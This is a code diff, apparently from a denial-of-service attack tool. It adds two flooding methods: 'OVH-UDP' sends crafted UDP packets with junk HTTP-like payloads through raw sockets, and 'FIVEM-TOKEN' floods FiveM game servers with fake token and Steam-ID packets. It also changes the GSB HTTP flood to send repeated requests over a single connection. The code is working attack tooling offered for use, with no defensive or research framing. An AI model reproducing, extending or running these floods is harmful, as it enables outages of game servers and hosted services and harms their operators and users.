1010from os import urandom as randbytes
1111from pathlib import Path
1212from re import compile
13- from random import choice as randchoice
13+ from random import choice as randchoice , randint
1414from socket import (AF_INET , IP_HDRINCL , IPPROTO_IP , IPPROTO_TCP , IPPROTO_UDP , SOCK_DGRAM , IPPROTO_ICMP ,
1515 SOCK_RAW , SOCK_STREAM , TCP_NODELAY , gethostbyname ,
1616 gethostname , socket )
@@ -136,8 +136,8 @@ class Methods:
136136
137137 LAYER4_METHODS : Set [str ] = {* LAYER4_AMP ,
138138 "TCP" , "UDP" , "SYN" , "VSE" , "MINECRAFT" ,
139- "MCBOT" , "CONNECTION" , "CPS" , "FIVEM" ,
140- "TS3" , "MCPE" , "ICMP"
139+ "MCBOT" , "CONNECTION" , "CPS" , "FIVEM" , "FIVEM-TOKEN" ,
140+ "TS3" , "MCPE" , "ICMP" , "OVH-UDP" ,
141141 }
142142
143143 ALL_METHODS : Set [str ] = {* LAYER4_METHODS , * LAYER7_METHODS }
@@ -469,6 +469,8 @@ def __init__(self,
469469 "TS3" : self .TS3 ,
470470 "MCPE" : self .MCPE ,
471471 "FIVEM" : self .FIVEM ,
472+ "FIVEM-TOKEN" : self .FIVEMTOKEN ,
473+ "OVH-UDP" : self .OVHUDP ,
472474 "MINECRAFT" : self .MINECRAFT ,
473475 "CPS" : self .CPS ,
474476 "CONNECTION" : self .CONNECTION ,
@@ -539,6 +541,14 @@ def UDP(self) -> None:
539541 continue
540542 Tools .safe_close (s )
541543
544+ def OVHUDP (self ) -> None :
545+ with socket (AF_INET , SOCK_RAW , IPPROTO_UDP ) as s :
546+ s .setsockopt (IPPROTO_IP , IP_HDRINCL , 1 )
547+ while True :
548+ for payload in self ._generate_ovhudp ():
549+ Tools .sendto (s , payload , self ._target )
550+ Tools .safe_close (s )
551+
542552 def ICMP (self ) -> None :
543553 payload = self ._genrate_icmp ()
544554 s = None
@@ -558,8 +568,7 @@ def SYN(self) -> None:
558568
559569 def AMP (self ) -> None :
560570 s = None
561- with suppress (Exception ), socket (AF_INET , SOCK_RAW ,
562- IPPROTO_UDP ) as s :
571+ with suppress (Exception ), socket (AF_INET , SOCK_RAW , IPPROTO_UDP ) as s :
563572 s .setsockopt (IPPROTO_IP , IP_HDRINCL , 1 )
564573 while Tools .sendto (s , * next (self ._amp_payloads )):
565574 continue
@@ -597,6 +606,24 @@ def VSE(self) -> None:
597606 continue
598607 Tools .safe_close (s )
599608
609+ def FIVEMTOKEN (self ) -> None :
610+ global BYTES_SEND , REQUESTS_SENT
611+
612+ # Generete token and guid
613+ token = str (uuid4 ())
614+ steamid_min = 76561197960265728
615+ steamid_max = 76561199999999999
616+ guid = str (randint (steamid_min , steamid_max ))
617+
618+ # Build Payload
619+ payload_str = f"token={ token } &guid={ guid } "
620+ payload = payload_str .encode ('utf-8' )
621+
622+ with socket (AF_INET , SOCK_DGRAM ) as s :
623+ while Tools .sendto (s , payload , self ._target ):
624+ continue
625+ Tools .safe_close (s )
626+
600627 def FIVEM (self ) -> None :
601628 global BYTES_SEND , REQUESTS_SENT
602629 payload = b'\xff \xff \xff \xff getinfo xxx\x00 \x00 \x00 '
@@ -624,6 +651,41 @@ def MCPE(self) -> None:
624651 continue
625652 Tools .safe_close (s )
626653
654+ def _generate_ovhudp (self ) -> List [bytes ]:
655+ packets = []
656+
657+ methods = ["PGET" , "POST" , "HEAD" , "OPTIONS" , "PURGE" ]
658+ paths = ['/0/0/0/0/0/0' , '/0/0/0/0/0/0/' , '\\ 0\\ 0\\ 0\\ 0\\ 0\\ 0' , '\\ 0\\ 0\\ 0\\ 0\\ 0\\ 0\\ ' , '/' , '/null' , '/%00%00%00%00' ]
659+
660+ for _ in range (randint (2 , 4 )):
661+ ip = IP ()
662+ ip .set_ip_src (__ip__ )
663+ ip .set_ip_dst (self ._target [0 ])
664+
665+ udp = UDP ()
666+ udp .set_uh_sport (randint (1024 , 65535 ))
667+ udp .set_uh_dport (self ._target [1 ])
668+
669+ payload_size = randint (1024 , 2048 )
670+ random_part = randbytes (payload_size ).decode ("latin1" , "ignore" )
671+
672+ method = randchoice (methods )
673+ path = randchoice (paths )
674+
675+ payload_str = (
676+ f"{ method } { path } { random_part } HTTP/1.1\n "
677+ f"Host: { self ._target [0 ]} :{ self ._target [1 ]} \r \n \r \n "
678+ )
679+
680+ payload = payload_str .encode ("latin1" , "ignore" )
681+
682+ udp .contains (Data (payload ))
683+ ip .contains (udp )
684+
685+ packets .append (ip .get_packet ())
686+
687+ return packets
688+
627689 def _genrate_syn (self ) -> bytes :
628690 ip : IP = IP ()
629691 ip .set_ip_src (__ip__ )
@@ -1160,7 +1222,10 @@ def BYPASS(self):
11601222 Tools .safe_close (s )
11611223
11621224 def GSB (self ):
1163- payload = str .encode ("%s %s?qs=%s HTTP/1.1\r \n " % (self ._req_type ,
1225+ s = None
1226+ with suppress (Exception ), self .open_connection () as s :
1227+ for _ in range (self ._rpc ):
1228+ payload = str .encode ("%s %s?qs=%s HTTP/1.1\r \n " % (self ._req_type ,
11641229 self ._target .raw_path_qs ,
11651230 ProxyTools .Random .rand_str (6 )) +
11661231 "Host: %s\r \n " % self ._target .authority +
@@ -1176,9 +1241,6 @@ def GSB(self):
11761241 'Sec-Gpc: 1\r \n '
11771242 'Pragma: no-cache\r \n '
11781243 'Upgrade-Insecure-Requests: 1\r \n \r \n ' )
1179- s = None
1180- with suppress (Exception ), self .open_connection () as s :
1181- for _ in range (self ._rpc ):
11821244 Tools .send (s , payload )
11831245 Tools .safe_close (s )
11841246
0 commit comments